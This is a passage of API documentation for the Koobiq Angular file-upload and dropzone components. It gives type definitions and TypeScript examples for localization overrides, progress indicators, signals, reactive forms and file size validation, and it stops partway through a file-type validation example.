  When true, all drag events are filtered out and ignored.
- `(filesDropped)`: `KbqFile[]` — Emits an event when file items were dropped.
- `open()`: `void` — Opens the dropzone overlay positioned over the host element.
- `close()`: `void` — Closes and disposes the overlay.

#### Services

##### KbqFullScreenDropzoneService (service)

Service that provides full-screen drag-and-drop overlay functionality.

```ts
@Injectable({ providedIn: 'root' })
class KbqFullScreenDropzoneService extends KbqDrop {
    readonly disabled = model<boolean>(false);
    readonly filesDropped = output<KbqFile[]>();
    init(config?: KbqDropzoneData): void;
    stop(): void;
    open(config?: KbqDropzoneData): void;
    close(): void;
}
```

- `disabled`: `boolean` — Controls whether drag-and-drop functionality is enabled.
  When true, all drag events are filtered out and ignored.
- `filesDropped`: `KbqFile[]` — Emits an event when file items were dropped.
- `init()`: `void` — Initializes drag-and-drop event listeners on the document body.
  - `config`: `KbqDropzoneData` — Dropzone configuration
- `stop()`: `void` — Stops all drag-and-drop event listeners and cleans up subscriptions.
- `open()`: `void` — Opens the dropzone overlay.
  - `config`: `KbqDropzoneData` — Dropzone configuration
- `close()`: `void` — Closes and disposes the overlay.

#### Types

##### KbqDropzoneData (type)

Dropzone overlay content configuration.

```ts
type KbqDropzoneData = Partial<{
    caption: string;
    size: KbqDefaultSizes;
    title: string;
    autoCapture: boolean;
}>;
```

- `caption?`: `string` — Optional caption text displayed below the title.
- `size?`: `KbqDefaultSizes` — Visual size of the dropzone empty state content.
- `title?`: `string` — Title text displayed in the dropzone; falls back to localized default.
- `autoCapture?`: `boolean` — Whether focus should be automatically captured when the overlay opens.

##### KbqFile (interface)

```ts
interface KbqFile extends File {
    fullPath: string;
    readonly lastModified: number;
    readonly name: string;
    readonly webkitRelativePath: string;
    readonly size: number;
    readonly type: string;
    arrayBuffer(): Promise<ArrayBuffer>;
    bytes(): Promise<Uint8Array<ArrayBuffer>>;
    slice(start?: number, end?: number, contentType?: string): Blob;
    stream(): ReadableStream<Uint8Array<ArrayBuffer>>;
    text(): Promise<string>;
}
```

- `lastModified`: `number` — The **`lastModified`** read-only property of the File interface provides the last modified date of the file as the number of milliseconds since the Unix epoch (January 1, 1970 at midnight).

  [MDN Reference](https://developer.mozilla.org/docs/Web/API/File/lastModified)
- `name`: `string` — The **`name`** read-only property of the File interface returns the name of the file represented by a File object.

  [MDN Reference](https://developer.mozilla.org/docs/Web/API/File/name)
- `webkitRelativePath`: `string` — The **`webkitRelativePath`** read-only property of the File interface contains a string which specifies the file's path relative to the directory selected by the user in an input element with its `webkitdirectory` attribute set.

  [MDN Reference](https://developer.mozilla.org/docs/Web/API/File/webkitRelativePath)
- `size`: `number` — The **`size`** read-only property of the Blob interface returns the size of the Blob or File in bytes.

  [MDN Reference](https://developer.mozilla.org/docs/Web/API/Blob/size)
- `type`: `string` — The **`type`** read-only property of the Blob interface returns the MIME type of the file.

  [MDN Reference](https://developer.mozilla.org/docs/Web/API/Blob/type)
- `arrayBuffer()`: `Promise<ArrayBuffer>` — The **`arrayBuffer()`** method of the Blob interface returns a Promise that resolves with the contents of the blob as binary data contained in an ArrayBuffer.

  [MDN Reference](https://developer.mozilla.org/docs/Web/API/Blob/arrayBuffer)
- `bytes()`: `Promise<Uint8Array<ArrayBuffer>>` — The **`bytes()`** method of the Blob interface returns a Promise that resolves with a Uint8Array containing the contents of the blob as an array of bytes.

  [MDN Reference](https://developer.mozilla.org/docs/Web/API/Blob/bytes)
- `slice()`: `Blob` — The **`slice()`** method of the Blob interface creates and returns a new `Blob` object which contains data from a subset of the blob on which it's called.

  [MDN Reference](https://developer.mozilla.org/docs/Web/API/Blob/slice)
- `stream()`: `ReadableStream<Uint8Array<ArrayBuffer>>` — The **`stream()`** method of the Blob interface returns a ReadableStream which upon reading returns the data contained within the `Blob`.

  [MDN Reference](https://developer.mozilla.org/docs/Web/API/Blob/stream)
- `text()`: `Promise<string>` — The **`text()`** method of the string containing the contents of the blob, interpreted as UTF-8.

  [MDN Reference](https://developer.mozilla.org/docs/Web/API/Blob/text)

##### KbqFileItem (interface)

```ts
interface KbqFileItem {
    file: File;
    hasError?: boolean;
    loading?: BehaviorSubject<boolean>;
    progress?: BehaviorSubject<number>;
}
```

##### KbqFileUploadAddStrategyValues (type)

Allowed add strategies for the upload component.

```ts
type KbqFileUploadAddStrategyValues = KbqEnumValues<KbqFileUploadAddStrategy>;
```

##### KbqFileUploadAllowedTypeValues (type)

Allowed upload modes for the upload component.

```ts
type KbqFileUploadAllowedTypeValues = KbqEnumValues<KbqFileUploadAllowedType>;
```

#### Enums

##### KbqFileUploadAddStrategy (enum)

Strategy for merging newly selected/dropped files into the existing file list.

```ts
enum KbqFileUploadAddStrategy {
    Concat = 'concat',
    Replace = 'replace'
}
```

- `Concat`: `'concat'` — Accumulates files across interactions, skipping files that duplicate ones already present.
- `Replace`: `'replace'` — Discards the previous selection, mirroring native `<input multiple>` behavior.

##### KbqFileUploadAllowedType (enum)

Upload modes enum.

```ts
enum KbqFileUploadAllowedType {
    File = 'file',
    Folder = 'folder',
    Mixed = 'mixed'
}
```

#### Constants

##### KBQ_DROPZONE_DATA (const)

Injection token that can be used to access the data that was passed in to a modal.

```ts
const KBQ_DROPZONE_DATA: InjectionToken<KbqDropzoneData>;
```

##### KBQ_FILE_UPLOAD_LOCALE_CONFIGURATION (const)

Localization configuration provider for the labels the file upload components render themselves.

```ts
const KBQ_FILE_UPLOAD_LOCALE_CONFIGURATION: InjectionToken<KbqFileUploadLocaleConfiguration>;
```

##### KBQ_MULTIPLE_FILE_UPLOAD_DEFAULT_CONFIGURATION (const)

```ts
const KBQ_MULTIPLE_FILE_UPLOAD_DEFAULT_CONFIGURATION: KbqMultipleFileUploadLocaleConfiguration;
```

##### KBQ_SINGLE_FILE_UPLOAD_DEFAULT_CONFIGURATION (const)

```ts
const KBQ_SINGLE_FILE_UPLOAD_DEFAULT_CONFIGURATION: KbqFileUploadLocaleConfiguration['single'];
```

##### kbqFileUploadLocaleConfigurationProvider (const)

Utility provider of `KBQ_FILE_UPLOAD_LOCALE_CONFIGURATION`. Only the labels you pass are overridden;
the rest keep following the active locale.

```ts
const kbqFileUploadLocaleConfigurationProvider: (
    configuration: KbqDeepPartial<KbqFileUploadLocaleConfiguration>
) => Provider;
```

### Examples

#### Component Localization

Deriving `[localeOverrides]` from the active locale keeps custom labels following `setLocale()`. To change them across the whole application instead, register them as locale data through `KBQ_LOCALE_DATA` in the root providers, where `KbqLocaleService` reads it.

**Example: File-upload multiple custom text** (`file-upload-multiple-custom-text-overview`)

```ts file-upload-multiple-custom-text-overview-example.ts
import { ChangeDetectionStrategy, Component, computed, inject } from '@angular/core';
import { toSignal } from '@angular/core/rxjs-interop';
import { KBQ_LOCALE_SERVICE, KbqMultipleFileUploadLocaleConfiguration } from '@koobiq/components/core';
import { KbqMultipleFileUploadComponent } from '@koobiq/components/file-upload';
import { KbqIconModule } from '@koobiq/components/icon';
import { of, skip } from 'rxjs';
import { enUSFileUploadLocaleData } from '../en-US';
import { esLAFileUploadLocaleData } from '../es-LA';
import { ptBRFileUploadLocaleData } from '../pt-BR';
import { ruRUFileUploadLocaleData } from '../ru-RU';
import { tkTMFileUploadLocaleData } from '../tk-TM';

const localeData: Record<string, KbqMultipleFileUploadLocaleConfiguration> = {
    'en-US': enUSFileUploadLocaleData,
    'es-LA': esLAFileUploadLocaleData,
    'pt-BR': ptBRFileUploadLocaleData,
    'ru-RU': ruRUFileUploadLocaleData,
    'tk-TM': tkTMFileUploadLocaleData
};

@Component({
    selector: 'file-upload-multiple-custom-text-overview-example',
    imports: [
        KbqIconModule,
        KbqMultipleFileUploadComponent
    ],
    template: `
        <kbq-multiple-file-upload [localeOverrides]="localeOverrides()">
            <ng-template #kbqFileIcon>
                <i kbq-icon="kbq-file-o_16"></i>
            </ng-template>
        </kbq-multiple-file-upload>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class FileUploadMultipleCustomTextOverviewExample {
    private readonly exampleDefaultLocale = 'en-US';
    protected readonly localeId = toSignal(
        inject(KBQ_LOCALE_SERVICE, { optional: true })?.changes.pipe(skip(1)) ?? of(this.exampleDefaultLocale),
        { initialValue: this.exampleDefaultLocale }
    );
    // Recomputed from the active locale rather than provided once, so the labels follow `setLocale()`.
    // `KBQ_LOCALE_DATA` would be the other way to say this, but it is read only by `KbqLocaleService`, from
    // the injector that created it — a component-level provider for it never reaches the root service.
    protected readonly localeOverrides = computed(() => ({
        fileUpload: { multiple: localeData[this.localeId()] ?? localeData[this.exampleDefaultLocale] }
    }));
}
```

```ts ../en-US.ts
import { KbqMultipleFileUploadLocaleConfiguration } from '@koobiq/components/core';

export const enUSFileUploadLocaleData: KbqMultipleFileUploadLocaleConfiguration = {
    captionText: 'Drag here or {{ browseLink }}',
    captionTextOnlyFolder: 'Drag here or {{ browseLinkFolder }}',
    captionTextWithFolder: 'Drag here or {{ browseLink }} or {{ browseLinkFolderMixed }}',
    captionTextWhenSelected: 'Drag more files or {{ browseLink }}',
    captionTextForCompactSize: 'Drag here or {{ browseLink }}',
    browseLink: 'choose',
    browseLinkFolder: 'choose folder',
    browseLinkFolderMixed: 'choose folder',
    title: 'Add photos'
};
```

```ts ../es-LA.ts
import { KbqMultipleFileUploadLocaleConfiguration } from '@koobiq/components/core';

export const esLAFileUploadLocaleData: KbqMultipleFileUploadLocaleConfiguration = {
    captionText: 'Arrastre aquí o {{ browseLink }}',
    captionTextWhenSelected: 'Arrastre más archivos aquí o {{ browseLink }}',
    captionTextOnlyFolder: 'Arrastre aquí o {{ browseLinkFolder }}',
    captionTextWithFolder: 'Arrastre aquí o {{ browseLink }} o {{ browseLinkFolderMixed }}',
    captionTextForCompactSize: 'Arrastre archivos o {{ browseLink }}',
    browseLink: 'elija',
    browseLinkFolder: 'carpeta',
    browseLinkFolderMixed: 'carpeta',
    title: 'Agregar fotos'
};
```

```ts ../pt-BR.ts
import { KbqMultipleFileUploadLocaleConfiguration } from '@koobiq/components/core';

export const ptBRFileUploadLocaleData: KbqMultipleFileUploadLocaleConfiguration = {
    captionText: 'Arrastar aqui ou {{ browseLink }}',
    captionTextWhenSelected: 'Arrastar arquivos ou {{ browseLink }}',
    captionTextWithFolder: 'Arrastar aqui ou {{ browseLink }} ou {{ browseLinkFolderMixed }}',
    captionTextOnlyFolder: 'Arrastar aqui ou {{ browseLinkFolder }}',
    captionTextForCompactSize: 'Arrastar arquivos ou {{ browseLink }}',
    browseLink: 'escolher',
    browseLinkFolder: 'pasta',
    browseLinkFolderMixed: 'pasta',
    title: 'Adicionar fotos'
};
```

```ts ../ru-RU.ts
import { KbqMultipleFileUploadLocaleConfiguration } from '@koobiq/components/core';

export const ruRUFileUploadLocaleData: KbqMultipleFileUploadLocaleConfiguration = {
    captionText: 'или {{ browseLink }}',
    captionTextOnlyFolder: 'или {{ browseLinkFolder }}',
    captionTextWithFolder: 'или {{ browseLink }} или {{ browseLinkFolderMixed }}',
    captionTextWhenSelected: 'Перетащите еще или {{ browseLink }}',
    captionTextForCompactSize: 'Перетащите файлы или {{ browseLink }}',
    browseLink: 'выберите файлы',
    browseLinkFolder: 'выберите папку',
    browseLinkFolderMixed: 'папку',
    title: 'Добавьте фотографии'
};
```

```ts ../tk-TM.ts
import { KbqMultipleFileUploadLocaleConfiguration } from '@koobiq/components/core';

/**
 * Mirrors the strings the library ships for `tk-TM` rather than inventing new ones — the example only
 * needs a complete entry for every locale the picker offers.
 */
export const tkTMFileUploadLocaleData: KbqMultipleFileUploadLocaleConfiguration = {
    captionText: 'Şu ýere geçiriň ýa-da {{ browseLink }}',
    captionTextOnlyFolder: 'Şu ýere geçiriň ýa-da {{ browseLinkFolder }}',
    captionTextWithFolder: 'Şu ýere geçiriň ýa-da {{ browseLink }} ýa-da {{ browseLinkFolderMixed }}',
    captionTextWhenSelected: 'Ýene geçiriň ýa-da {{ browseLink }}',
    captionTextForCompactSize: 'Faýllary geçiriň ýa-da {{ browseLink }}',
    browseLink: 'saýlaň',
    browseLinkFolder: 'bukja',
    browseLinkFolderMixed: 'bukja',
    title: 'Faýl ýükläň'
};
```

Binding `[localeOverrides]` changes only the labels you pass, for that one component. The rest stay as they are and keep following the selected language. The value is keyed by locale section, so the labels go under `fileUpload.single` or `fileUpload.multiple`.

**Example: File-upload custom text via input example** (`file-upload-custom-text-via-input`)

```ts file-upload-custom-text-via-input-example.ts
import { ChangeDetectionStrategy, Component, computed, inject } from '@angular/core';
import { toSignal } from '@angular/core/rxjs-interop';
import {
    KBQ_LOCALE_SERVICE,
    KbqBaseFileUploadLocaleConfiguration,
    KbqMultipleFileUploadLocaleConfiguration
} from '@koobiq/components/core';
import { KbqMultipleFileUploadComponent, KbqSingleFileUploadComponent } from '@koobiq/components/file-upload';
import { KbqIconModule } from '@koobiq/components/icon';
import { of, skip } from 'rxjs';

const localeData = {
    'en-US': {
        single: {
            captionText: 'Drop file here or {{ browseLink }}',
            browseLink: 'secure upload'
        } satisfies Partial<KbqBaseFileUploadLocaleConfiguration>,

        multiple: {
            captionText: 'Drop reports here or {{ browseLink }}',
            captionTextWhenSelected: 'Add more evidence or {{ browseLink }}',
            captionTextForCompactSize: 'Attach logs or {{ browseLink }}',
            browseLink: 'secure upload',
            title: 'Submit security files'
        } satisfies Partial<KbqMultipleFileUploadLocaleConfiguration>
    },

    'es-LA': {
        single: {
            captionText: 'Arrastra archivo aquí o {{ browseLink }}',
            browseLink: 'subida segura'
        } satisfies Partial<KbqBaseFileUploadLocaleConfiguration>,

        multiple: {
            captionText: 'Arrastra reportes aquí o {{ browseLink }}',
            captionTextWhenSelected: 'Agrega evidencia o {{ browseLink }}',
            captionTextForCompactSize: 'Adjunta logs o {{ browseLink }}',
            browseLink: 'subida segura',
            title: 'Enviar archivos de seguridad'
        } satisfies Partial<KbqMultipleFileUploadLocaleConfiguration>
    },

    'pt-BR': {
        single: {
            captionText: 'Arraste arquivo aqui ou {{ browseLink }}',
            browseLink: 'upload seguro'
        } satisfies Partial<KbqBaseFileUploadLocaleConfiguration>,

        multiple: {
            captionText: 'Arraste relatórios aqui ou {{ browseLink }}',
            captionTextWhenSelected: 'Adicione evidências ou {{ browseLink }}',
            captionTextForCompactSize: 'Anexe logs ou {{ browseLink }}',
            browseLink: 'upload seguro',
            title: 'Enviar arquivos de segurança'
        } satisfies Partial<KbqMultipleFileUploadLocaleConfiguration>
    },

    'ru-RU': {
        single: {
            captionText: 'Перетащите файл сюда или {{ browseLink }}',
            browseLink: 'безопасная загрузка'
        } satisfies Partial<KbqBaseFileUploadLocaleConfiguration>,

        multiple: {
            captionText: 'Перетащите отчёты сюда или {{ browseLink }}',
            captionTextWhenSelected: 'Добавьте доказательства или {{ browseLink }}',
            captionTextForCompactSize: 'Прикрепите логи или {{ browseLink }}',
            browseLink: 'безопасная загрузка',
            title: 'Загрузка файлов безопасности'
        } satisfies Partial<KbqMultipleFileUploadLocaleConfiguration>
    },

    'tk-TM': {
        single: {
            captionText: 'Faýly şu ýere taşlaň ýa-da {{ browseLink }}',
            browseLink: 'howpsuz ýükleme'
        } satisfies Partial<KbqBaseFileUploadLocaleConfiguration>,

        multiple: {
            captionText: 'Hasabatlary şu ýere taşlaň ýa-da {{ browseLink }}',
            captionTextWhenSelected: 'Has köp subutnamalary goşuň ýa-da {{ browseLink }}',
            captionTextForCompactSize: 'Loglary goşuň ýa-da {{ browseLink }}',
            browseLink: 'howpsuz ýükleme',
            title: 'Howpsuzlyk faýllaryny iber'
        } satisfies Partial<KbqMultipleFileUploadLocaleConfiguration>
    }
};

@Component({
    selector: 'file-upload-custom-text-via-input-example',
    imports: [
        KbqIconModule,
        KbqSingleFileUploadComponent,
        KbqMultipleFileUploadComponent
    ],
    template: `
        <kbq-file-upload multiple [localeOverrides]="multipleLocaleOverrides()">
            <ng-template #kbqFileIcon>
                <i kbq-icon="kbq-file-text-o_16"></i>
            </ng-template>
        </kbq-file-upload>

        <kbq-file-upload [localeOverrides]="singleLocaleOverrides()">
            <ng-template #kbqFileIcon>
                <i kbq-icon="kbq-file-text-o_16"></i>
            </ng-template>
        </kbq-file-upload>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-column layout-gap-l'
    }
})
export class FileUploadCustomTextViaInputExample {
    private readonly exampleDefaultLocale = 'en-US';
    protected readonly localeId = toSignal(
        inject(KBQ_LOCALE_SERVICE, { optional: true })?.changes.pipe(skip(1)) ?? of(this.exampleDefaultLocale),
        { initialValue: this.exampleDefaultLocale }
    );
    // The binding takes a partial of the whole locale data, keyed by section, so the labels go under the
    // `fileUpload` section and the flavour they belong to.
    protected readonly multipleLocaleOverrides = computed(() => {
        const selectedLocaleData = localeData[this.localeId()] ?? localeData[this.exampleDefaultLocale];

        return { fileUpload: { multiple: selectedLocaleData.multiple } };
    });

    protected readonly singleLocaleOverrides = computed(() => {
        const selectedLocaleData = localeData[this.localeId()] ?? localeData[this.exampleDefaultLocale];

        return { fileUpload: { single: selectedLocaleData.single } };
    });
}
```

#### Indeterminate progress indicator

An example of file upload with indeterminate progress:

**Example: File-upload indeterminate loading** (`file-upload-indeterminate-loading-overview`)

```ts file-upload-indeterminate-loading-overview-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import {
    KbqFileItem,
    KbqMultipleFileUploadComponent,
    KbqSingleFileUploadComponent
} from '@koobiq/components/file-upload';
import { KbqIconModule } from '@koobiq/components/icon';
import { timer } from 'rxjs';
import { take } from 'rxjs/operators';

@Component({
    selector: 'file-upload-indeterminate-loading-overview-example',
    imports: [
        KbqIconModule,
        KbqSingleFileUploadComponent,
        KbqMultipleFileUploadComponent
    ],
    template: `
        <kbq-file-upload progressMode="indeterminate" (fileChange)="onFileChange($event)">
            <i kbq-icon="kbq-file-o_16"></i>
        </kbq-file-upload>

        <kbq-file-upload multiple progressMode="indeterminate" (filesChange)="onFilesChange($event)">
            <ng-template #kbqFileIcon>
                <i kbq-icon="kbq-file-o_16"></i>
            </ng-template>
        </kbq-file-upload>

        @if (isLoading) {
            <p class="kbq-text-big">Immediately load to backend...</p>
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-column layout-gap-l'
    }
})
export class FileUploadIndeterminateLoadingOverviewExample {
    isLoading: boolean;

    onFileChange(file: KbqFileItem | null) {
        if (!file) {
            return;
        }

        const fakeBackendResponse = timer(1500);

        file.loading?.next(true);
        this.isLoading = true;
        fakeBackendResponse.pipe(take(1)).subscribe(() => {
            file.loading?.next(false);
            this.isLoading = false;
        });
    }

    onFilesChange(files: KbqFileItem[] | null) {
        if (!files?.length) {
            return;
        }

        const fakeBackendResponse = timer(1500);

        this.isLoading = true;
        files.forEach((file) => file.loading?.next(true));

        fakeBackendResponse.pipe(take(1)).subscribe(() => {
            files.forEach((file) => file.loading?.next(false));
            this.isLoading = false;
        });
    }
}
```

#### Signals

An example of a file uploader using [`signal`](https://angular.dev/guide/signals).
After uploading, the file is highlighted as having an issue — this is a simulation of file processing.

**Example: File-upload single** (`file-upload-single-with-signal`)

```ts file-upload-single-with-signal-example.ts
import { ChangeDetectionStrategy, Component, signal } from '@angular/core';
import {
    KbqFileItem,
    KbqMultipleFileUploadComponent,
    KbqSingleFileUploadComponent
} from '@koobiq/components/file-upload';
import { KbqIconModule } from '@koobiq/components/icon';

@Component({
    selector: 'file-upload-single-with-signal-example',
    imports: [KbqIconModule, KbqSingleFileUploadComponent, KbqMultipleFileUploadComponent],
    template: `
        <div class="layout-margin-bottom-l">
            <kbq-file-upload [file]="file()" (fileChange)="onSingleChange($event)">
                <i kbq-icon="kbq-file-o_16"></i>
            </kbq-file-upload>
        </div>

        <kbq-file-upload multiple [files]="files()" (filesChange)="onMultipleChange($event)">
            <i kbq-icon="kbq-file-o_16"></i>
        </kbq-file-upload>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class FileUploadSingleWithSignalExample {
    readonly file = signal<KbqFileItem | null>(null);
    readonly files = signal<KbqFileItem[]>([]);

    onSingleChange($event: KbqFileItem | null) {
        if ($event) {
            this.file.set({ ...$event, hasError: true });

            return;
        }

        this.file.set($event);
    }

    onMultipleChange($event: KbqFileItem[]) {
        const updatedItems = $event.map((fileItem) => ({ ...fileItem, hasError: true }));

        this.files.set(updatedItems);
    }
}
```

#### Reactive forms

An example of a file uploader using [`FormControl`](https://angular.dev/api/forms/FormControl).

**Example: File-upload with control value accessor** (`file-upload-cva-overview`)

```ts file-upload-cva-overview-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { FormControl, ReactiveFormsModule } from '@angular/forms';
import { KbqFileItem, KbqSingleFileUploadComponent } from '@koobiq/components/file-upload';
import { KbqIconModule } from '@koobiq/components/icon';

@Component({
    selector: 'file-upload-cva-overview-example',
    imports: [
        ReactiveFormsModule,
        KbqIconModule,
        KbqSingleFileUploadComponent
    ],
    template: `
        <div class="kbq-form-horizontal">
            <div class="kbq-form__row layout-margin-bottom-m">
                <label class="kbq-form__label flex-20">Single file-upload with formControl</label>
                <kbq-file-upload class="kbq-form__control flex-80" [formControl]="control">
                    <i kbq-icon="kbq-file-o_16"></i>
                </kbq-file-upload>
            </div>
        </div>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class FileUploadCvaOverviewExample {
    control = new FormControl<KbqFileItem | null>(null);
}
```

#### Validation: additional examples

The examples use [FileValidators](https://github.com/koobiq/angular-components/blob/main/packages/components/core/forms/validators.ts), a set of static methods for validating file upload fields.

##### Required field

- **Single File**: An example of a file uploader that ensures a file must be uploaded.

**Example: File upload single required reactive validation example** (`file-upload-single-required-reactive-validation`)

```ts file-upload-single-required-reactive-validation-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { FormControl, FormGroup, ReactiveFormsModule, Validators } from '@angular/forms';
import { KbqButtonModule } from '@koobiq/components/button';
import { ShowOnFormSubmitErrorStateMatcher } from '@koobiq/components/core';
import { KbqFileItem, KbqSingleFileUploadComponent } from '@koobiq/components/file-upload';
import { KbqFormFieldModule } from '@koobiq/components/form-field';
import { KbqIconModule } from '@koobiq/components/icon';

@Component({
    selector: 'file-upload-single-required-reactive-validation-example',
    imports: [
        ReactiveFormsModule,
        KbqFormFieldModule,
        KbqButtonModule,
        KbqIconModule,
        KbqSingleFileUploadComponent
    ],
    template: `
        <form [formGroup]="form" (ngSubmit)="onSubmit()">
            <kbq-file-upload
                #kbqFileUpload
                class="layout-margin-bottom-s"
                formControlName="fileUpload"
                [errorStateMatcher]="customErrorStateMatcher"
                [progressMode]="'indeterminate'"
            >
                <i kbq-icon="kbq-file-o_16"></i>

                @if (kbqFileUpload.invalid && form.controls.fileUpload.hasError('required')) {
                    <kbq-hint color="error">File required</kbq-hint>
                }
            </kbq-file-upload>
            <button class="layout-margin-top-m" kbq-button type="submit">Submit</button>
        </form>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class FileUploadSingleRequiredReactiveValidationExample {
    protected readonly customErrorStateMatcher = new ShowOnFormSubmitErrorStateMatcher();

    protected readonly form = new FormGroup({
        fileUpload: new FormControl<KbqFileItem | null>(null, Validators.required)
    });

    onSubmit() {
        console.log('perform action on submit');
    }
}
```

- **Multiple Files**: An example of a file uploader that requires multiple files to be uploaded.

**Example: File upload multiple required reactive validation example** (`file-upload-multiple-required-reactive-validation`)

```ts file-upload-multiple-required-reactive-validation-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { FormControl, FormGroup, ReactiveFormsModule, Validators } from '@angular/forms';
import { KbqButtonModule } from '@koobiq/components/button';
import { ShowOnFormSubmitErrorStateMatcher } from '@koobiq/components/core';
import { KbqFileItem, KbqMultipleFileUploadComponent } from '@koobiq/components/file-upload';
import { KbqFormFieldModule } from '@koobiq/components/form-field';
import { KbqIconModule } from '@koobiq/components/icon';

@Component({
    selector: 'file-upload-multiple-required-reactive-validation-example',
    imports: [
        ReactiveFormsModule,
        KbqFormFieldModule,
        KbqButtonModule,
        KbqIconModule,
        KbqMultipleFileUploadComponent
    ],
    template: `
        <form [formGroup]="formMultiple" (ngSubmit)="onSubmit()">
            <kbq-file-upload
                #kbqFileUpload
                class="layout-margin-bottom-s"
                formControlName="fileUpload"
                multiple
                [errorStateMatcher]="customErrorStateMatcher"
                [progressMode]="'indeterminate'"
            >
                <ng-template #kbqFileIcon>
                    <i kbq-icon="kbq-file-o_16"></i>
                </ng-template>
                @if (kbqFileUpload.invalid && formMultiple.controls.fileUpload.hasError('required')) {
                    <kbq-hint color="error">File required</kbq-hint>
                }
                @if (
                    kbqFileUpload.invalid && formMultiple.controls.fileUpload.getError('minlength');
                    as minLengthError
                ) {
                    <kbq-hint color="error">
                        {{ minLengthError.actualLength }} / {{ minLengthError.requiredLength }} files provided.
                    </kbq-hint>
                }
            </kbq-file-upload>
            <button class="layout-margin-top-m" kbq-button type="submit">Submit</button>
        </form>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class FileUploadMultipleRequiredReactiveValidationExample {
    protected readonly customErrorStateMatcher = new ShowOnFormSubmitErrorStateMatcher();

    protected readonly formMultiple = new FormGroup({
        fileUpload: new FormControl<FileList | KbqFileItem[]>([], [Validators.required, Validators.minLength(2)])
    });

    onSubmit() {
        console.log('perform action on submit');
    }
}
```

##### File size validation

- **Single File**: An example of uploading a single file with Reactive Forms-based validation.

**Example: File-upload single validation reactive forms** (`file-upload-single-validation-reactive-forms-overview`)

```ts file-upload-single-validation-reactive-forms-overview-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { FormControl, FormGroup, ReactiveFormsModule } from '@angular/forms';
import { FileValidators } from '@koobiq/components/core';
import { KbqSingleFileUploadComponent } from '@koobiq/components/file-upload';
import { KbqFormFieldModule } from '@koobiq/components/form-field';
import { KbqIconModule } from '@koobiq/components/icon';

const MAX_FILE_SIZE = 5 * 2 ** 20;

@Component({
    selector: 'file-upload-single-validation-reactive-forms-overview-example',
    imports: [
        ReactiveFormsModule,
        KbqFormFieldModule,
        KbqIconModule,
        KbqSingleFileUploadComponent
    ],
    template: `
        <form [formGroup]="formGroup">
            <kbq-file-upload class="layout-margin-bottom-s" formControlName="fileControl">
                @if (!formGroup.get('fileControl')?.errors) {
                    <i kbq-icon="kbq-file-o_16"></i>
                } @else {
                    <i kbq-icon="kbq-triangle-exclamation_16"></i>
                }

                @if (formGroup.get('fileControl')?.hasError('maxFileSize')) {
                    <kbq-hint color="error">The file size must not exceed the limit</kbq-hint>
                }

                <kbq-hint>The file size should not exceed 5 MB</kbq-hint>
            </kbq-file-upload>
        </form>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class FileUploadSingleValidationReactiveFormsOverviewExample {
    formGroup = new FormGroup({
        fileControl: new FormControl(null, FileValidators.maxFileSize(MAX_FILE_SIZE))
    });
}
```

- **Multiple Files**: An example of uploading multiple files with Reactive Forms and built-in validation.

**Example: File-upload multiple default validation reactive forms** (`file-upload-multiple-default-validation-reactive-forms-overview`)

```ts file-upload-multiple-default-validation-reactive-forms-overview-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { FormArray, FormControl, ReactiveFormsModule } from '@angular/forms';
import { FileValidators } from '@koobiq/components/core';
import { KbqFileItem, KbqMultipleFileUploadComponent } from '@koobiq/components/file-upload';
import { KbqFormFieldModule } from '@koobiq/components/form-field';
import { KbqIconModule } from '@koobiq/components/icon';

const MAX_FILE_SIZE = 5 * 2 ** 20;

@Component({
    selector: 'file-upload-multiple-default-validation-reactive-forms-overview-example',
    imports: [
        ReactiveFormsModule,
        KbqFormFieldModule,
        KbqIconModule,
        KbqMultipleFileUploadComponent
    ],
    template: `
        <kbq-file-upload
            multiple
            [progressMode]="'indeterminate'"
            (fileRemoved)="onFileRemoved($event)"
            (filesAdded)="onFilesAdded($event)"
        >
            <ng-template #kbqFileIcon let-file>
                @if (!file.hasError) {
                    <i kbq-icon="kbq-file-o_16"></i>
                } @else {
                    <i kbq-icon="kbq-triangle-exclamation_16"></i>
                }
            </ng-template>

            <kbq-hint>The file size should not exceed 5 MB</kbq-hint>

            @for (control of fileList.controls; track $index) {
                <kbq-hint color="error">
                    @if (control.hasError('maxFileSize')) {
                        {{ control.value?.file?.name }} — {{ maxFileSizeErrorMessage }}
                    }
                </kbq-hint>
            }
        </kbq-file-upload>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class FileUploadMultipleDefaultValidationReactiveFormsOverviewExample {
    maxFileSizeErrorMessage = 'The file size has exceeded the limit';

    fileList = new FormArray<FormControl<KbqFileItem | null>>([]);

    constructor() {
        this.fileList.statusChanges.subscribe(() => {
            this.fileList.controls.forEach((control) => {
                if (control?.value && 'hasError' in control.value) {
                    control.value.hasError = control.invalid;
                }
            });
        });
    }

    onFileRemoved([
        _,
        index
    ]: [
        KbqFileItem,
        number
    ]) {
        this.fileList.removeAt(index);
    }

    onFilesAdded($event: KbqFileItem[]) {
        for (const fileItem of $event.slice()) {
            this.fileList.push(new FormControl(fileItem, FileValidators.maxFileSize(MAX_FILE_SIZE)));
        }
    }
}
```

##### File type or extension validation

- **Single file**: example of uploading a single file using `Reactive Forms` with validation.

**Example: File upload single accept validation** (`file-upload-single-accept-validation`)

```ts file-upload-single-accept-validation-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { FormControl, FormGroup, ReactiveFormsModule } from '@angular/forms';
import { FileValidators, KbqFileTypeSpecifier } from '@koobiq/components/core';
import { KbqSingleFileUploadComponent } from '@koobiq/components/file-upload';
import { KbqFormFieldModule } from '@koobiq/components/form-field';
import { KbqIconModule } from '@koobiq/components/icon';

@Component({
    selector: 'file-upload-single-accept-validation-example',
    imports: [
        ReactiveFormsModule,
        KbqFormFieldModule,
        KbqIconModule,
